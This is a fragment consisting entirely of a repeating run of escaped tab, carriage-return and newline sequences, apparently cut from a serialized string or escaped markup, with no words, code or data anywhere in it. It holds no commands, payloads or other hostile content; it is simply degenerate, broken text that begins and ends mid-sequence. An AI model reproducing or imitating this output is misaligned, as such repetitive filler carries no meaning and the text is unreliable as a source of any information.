t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\